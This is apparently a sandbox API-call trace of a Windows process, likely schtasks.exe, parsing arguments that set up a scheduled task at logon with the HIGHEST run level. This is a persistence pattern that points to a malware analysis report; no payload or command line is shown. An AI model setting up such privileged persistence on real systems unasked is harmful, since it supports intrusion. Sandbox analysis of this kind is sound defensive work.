_vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.366] lstrlenW (lpString="|p|") returned 3 [0064.366] lstrlenW (lpString="|f|") returned 3 [0064.366] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0064.366] SetLastError (dwErrCode=0x490) [0064.366] lstrlenW (lpString="ru") returned 2 [0064.366] lstrlenW (lpString="ru") returned 2 [0064.366] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] lstrlenW (lpString="f") returned 1 [0064.366] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.366] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ru|") returned 4 [0064.366] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.366] lstrlenW (lpString="|ru|") returned 4 [0064.366] lstrlenW (lpString="|f|") returned 3 [0064.366] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0064.366] SetLastError (dwErrCode=0x490) [0064.367] lstrlenW (lpString="rp") returned 2 [0064.367] lstrlenW (lpString="rp") returned 2 [0064.367] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] lstrlenW (lpString="f") returned 1 [0064.367] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rp|") returned 4 [0064.367] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.367] lstrlenW (lpString="|rp|") returned 4 [0064.367] lstrlenW (lpString="|f|") returned 3 [0064.367] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0064.367] SetLastError (dwErrCode=0x490) [0064.367] lstrlenW (lpString="sc") returned 2 [0064.367] lstrlenW (lpString="sc") returned 2 [0064.367] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] lstrlenW (lpString="f") returned 1 [0064.367] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.367] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.367] lstrlenW (lpString="|sc|") returned 4 [0064.367] lstrlenW (lpString="|f|") returned 3 [0064.367] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0064.367] SetLastError (dwErrCode=0x490) [0064.367] lstrlenW (lpString="mo") returned 2 [0064.367] lstrlenW (lpString="mo") returned 2 [0064.367] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] lstrlenW (lpString="f") returned 1 [0064.367] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.367] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|mo|") returned 4 [0064.367] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.367] lstrlenW (lpString="|mo|") returned 4 [0064.367] lstrlenW (lpString="|f|") returned 3 [0064.367] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0064.368] SetLastError (dwErrCode=0x490) [0064.368] lstrlenW (lpString="d") returned 1 [0064.368] lstrlenW (lpString="d") returned 1 [0064.368] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] lstrlenW (lpString="f") returned 1 [0064.368] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|d|") returned 3 [0064.368] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.368] lstrlenW (lpString="|d|") returned 3 [0064.368] lstrlenW (lpString="|f|") returned 3 [0064.368] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0064.368] SetLastError (dwErrCode=0x490) [0064.368] lstrlenW (lpString="m") returned 1 [0064.368] lstrlenW (lpString="m") returned 1 [0064.368] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] lstrlenW (lpString="f") returned 1 [0064.368] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|m|") returned 3 [0064.368] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.368] lstrlenW (lpString="|m|") returned 3 [0064.368] lstrlenW (lpString="|f|") returned 3 [0064.368] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0064.368] SetLastError (dwErrCode=0x490) [0064.368] lstrlenW (lpString="i") returned 1 [0064.368] lstrlenW (lpString="i") returned 1 [0064.368] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] lstrlenW (lpString="f") returned 1 [0064.368] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.368] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|i|") returned 3 [0064.368] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.368] lstrlenW (lpString="|i|") returned 3 [0064.368] lstrlenW (lpString="|f|") returned 3 [0064.368] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0064.369] SetLastError (dwErrCode=0x490) [0064.369] lstrlenW (lpString="tn") returned 2 [0064.369] lstrlenW (lpString="tn") returned 2 [0064.369] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] lstrlenW (lpString="f") returned 1 [0064.369] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.369] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.369] lstrlenW (lpString="|tn|") returned 4 [0064.369] lstrlenW (lpString="|f|") returned 3 [0064.369] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0064.369] SetLastError (dwErrCode=0x490) [0064.369] lstrlenW (lpString="tr") returned 2 [0064.369] lstrlenW (lpString="tr") returned 2 [0064.369] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] lstrlenW (lpString="f") returned 1 [0064.369] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.369] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.369] lstrlenW (lpString="|tr|") returned 4 [0064.369] lstrlenW (lpString="|f|") returned 3 [0064.369] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0064.369] SetLastError (dwErrCode=0x490) [0064.369] lstrlenW (lpString="st") returned 2 [0064.369] lstrlenW (lpString="st") returned 2 [0064.369] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] lstrlenW (lpString="f") returned 1 [0064.369] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.369] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|st|") returned 4 [0064.369] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.369] lstrlenW (lpString="|st|") returned 4 [0064.369] lstrlenW (lpString="|f|") returned 3 [0064.369] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0064.369] SetLastError (dwErrCode=0x490) [0064.370] lstrlenW (lpString="sd") returned 2 [0064.370] lstrlenW (lpString="sd") returned 2 [0064.370] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] lstrlenW (lpString="f") returned 1 [0064.370] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sd|") returned 4 [0064.370] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.370] lstrlenW (lpString="|sd|") returned 4 [0064.370] lstrlenW (lpString="|f|") returned 3 [0064.370] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0064.370] SetLastError (dwErrCode=0x490) [0064.370] lstrlenW (lpString="ed") returned 2 [0064.370] lstrlenW (lpString="ed") returned 2 [0064.370] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] lstrlenW (lpString="f") returned 1 [0064.370] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ed|") returned 4 [0064.370] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.370] lstrlenW (lpString="|ed|") returned 4 [0064.370] lstrlenW (lpString="|f|") returned 3 [0064.370] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0064.370] SetLastError (dwErrCode=0x490) [0064.370] lstrlenW (lpString="it") returned 2 [0064.370] lstrlenW (lpString="it") returned 2 [0064.370] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] lstrlenW (lpString="f") returned 1 [0064.370] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.370] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|it|") returned 4 [0064.370] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.370] lstrlenW (lpString="|it|") returned 4 [0064.370] lstrlenW (lpString="|f|") returned 3 [0064.370] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0064.370] SetLastError (dwErrCode=0x490) [0064.370] lstrlenW (lpString="et") returned 2 [0064.371] lstrlenW (lpString="et") returned 2 [0064.371] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] lstrlenW (lpString="f") returned 1 [0064.371] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|et|") returned 4 [0064.371] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.371] lstrlenW (lpString="|et|") returned 4 [0064.371] lstrlenW (lpString="|f|") returned 3 [0064.371] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0064.371] SetLastError (dwErrCode=0x490) [0064.371] lstrlenW (lpString="k") returned 1 [0064.371] lstrlenW (lpString="k") returned 1 [0064.371] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] lstrlenW (lpString="f") returned 1 [0064.371] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|k|") returned 3 [0064.371] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.371] lstrlenW (lpString="|k|") returned 3 [0064.371] lstrlenW (lpString="|f|") returned 3 [0064.371] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0064.371] SetLastError (dwErrCode=0x490) [0064.371] lstrlenW (lpString="du") returned 2 [0064.371] lstrlenW (lpString="du") returned 2 [0064.371] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] lstrlenW (lpString="f") returned 1 [0064.371] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.371] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|du|") returned 4 [0064.371] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.371] lstrlenW (lpString="|du|") returned 4 [0064.371] lstrlenW (lpString="|f|") returned 3 [0064.371] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0064.371] SetLastError (dwErrCode=0x490) [0064.371] lstrlenW (lpString="ri") returned 2 [0064.371] lstrlenW (lpString="ri") returned 2 [0064.371] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] lstrlenW (lpString="f") returned 1 [0064.372] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ri|") returned 4 [0064.372] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.372] lstrlenW (lpString="|ri|") returned 4 [0064.372] lstrlenW (lpString="|f|") returned 3 [0064.372] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0064.372] SetLastError (dwErrCode=0x490) [0064.372] lstrlenW (lpString="z") returned 1 [0064.372] lstrlenW (lpString="z") returned 1 [0064.372] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] lstrlenW (lpString="f") returned 1 [0064.372] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|z|") returned 3 [0064.372] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.372] lstrlenW (lpString="|z|") returned 3 [0064.372] lstrlenW (lpString="|f|") returned 3 [0064.372] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0064.372] SetLastError (dwErrCode=0x490) [0064.372] lstrlenW (lpString="f") returned 1 [0064.372] lstrlenW (lpString="f") returned 1 [0064.372] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] lstrlenW (lpString="f") returned 1 [0064.372] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.372] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.372] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|f|") returned 3 [0064.372] lstrlenW (lpString="|f|") returned 3 [0064.372] lstrlenW (lpString="|f|") returned 3 [0064.372] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0064.372] SetLastError (dwErrCode=0x0) [0064.372] SetLastError (dwErrCode=0x0) [0064.372] GetProcessHeap () returned 0x220000 [0064.372] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ceb0 [0064.373] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.373] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0064.373] lstrlenW (lpString="LIMITED") returned 7 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d700 [0064.373] GetThreadLocale () returned 0x409 [0064.373] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce80 [0064.373] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.373] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0064.373] lstrlenW (lpString="HIGHEST") returned 7 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d720 [0064.373] GetThreadLocale () returned 0x409 [0064.373] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce50 [0064.373] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.373] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0064.373] lstrlenW (lpString="MINUTE") returned 6 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d740 [0064.373] GetThreadLocale () returned 0x409 [0064.373] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0064.373] GetProcessHeap () returned 0x220000 [0064.373] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce20 [0064.373] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.373] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0064.374] lstrlenW (lpString="HOURLY") returned 6 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d760 [0064.374] GetThreadLocale () returned 0x409 [0064.374] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdf0 [0064.374] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.374] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0064.374] lstrlenW (lpString="DAILY") returned 5 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d780 [0064.374] GetThreadLocale () returned 0x409 [0064.374] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdc0 [0064.374] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.374] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0064.374] lstrlenW (lpString="WEEKLY") returned 6 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d7a0 [0064.374] GetThreadLocale () returned 0x409 [0064.374] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd90 [0064.374] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.374] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0064.374] lstrlenW (lpString="MONTHLY") returned 7 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d7c0 [0064.374] GetThreadLocale () returned 0x409 [0064.374] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0064.374] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.374] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0064.374] lstrlenW (lpString="ONCE") returned 4 [0064.374] GetProcessHeap () returned 0x220000 [0064.374] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23d7e0 [0064.375] GetThreadLocale () returned 0x409 [0064.375] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0064.375] lstrlenW (lpString="ONSTART") returned 7 [0064.375] GetThreadLocale () returned 0x409 [0064.375] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0064.375] lstrlenW (lpString="ONLOGON") returned 7 [0064.375] GetThreadLocale () returned 0x409 [0064.375] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0064.375] SetLastError (dwErrCode=0x0) [0064.375] GetProcessHeap () returned 0x220000 [0064.375] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1fc) returned 0x23c540 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0064.375] lstrlenW (lpString="First") returned 5 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0064.375] lstrlenW (lpString="Second") returned 6 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0064.375] lstrlenW (lpString="Third") returned 5 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0064.375] lstrlenW (lpString="Fourth") returned 6 [0064.375] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.375] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0064.375] lstrlenW (lpString="Last") returned 4 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0064.376] lstrlenW (lpString="First") returned 5 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0064.376] lstrlenW (lpString="Second") returned 6 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0064.376] lstrlenW (lpString="Third") returned 5 [0064.376] GetProcessHeap () returned 0x220000 [0064.376] GetProcessHeap () returned 0x220000 [0064.376] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7e0) returned 1 [0064.376] GetProcessHeap () returned 0x220000 [0064.376] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d7e0) returned 0xa [0064.376] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d7e0 | out: hHeap=0x220000) returned 1 [0064.376] GetProcessHeap () returned 0x220000 [0064.376] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d7e0 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0064.376] lstrlenW (lpString="Fourth") returned 6 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0064.376] lstrlenW (lpString="Last") returned 4 [0064.376] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c700, cchData=128 | out: lpLCData="0") returned 2 [0064.376] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.376] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0064.376] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700) returned 1 [0064.377] GetProcessHeap () returned 0x220000 [0064.377] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d700) returned 0x10 [0064.377] HeapFree (in: hHeap=0x220000, dwFlags=0x0, 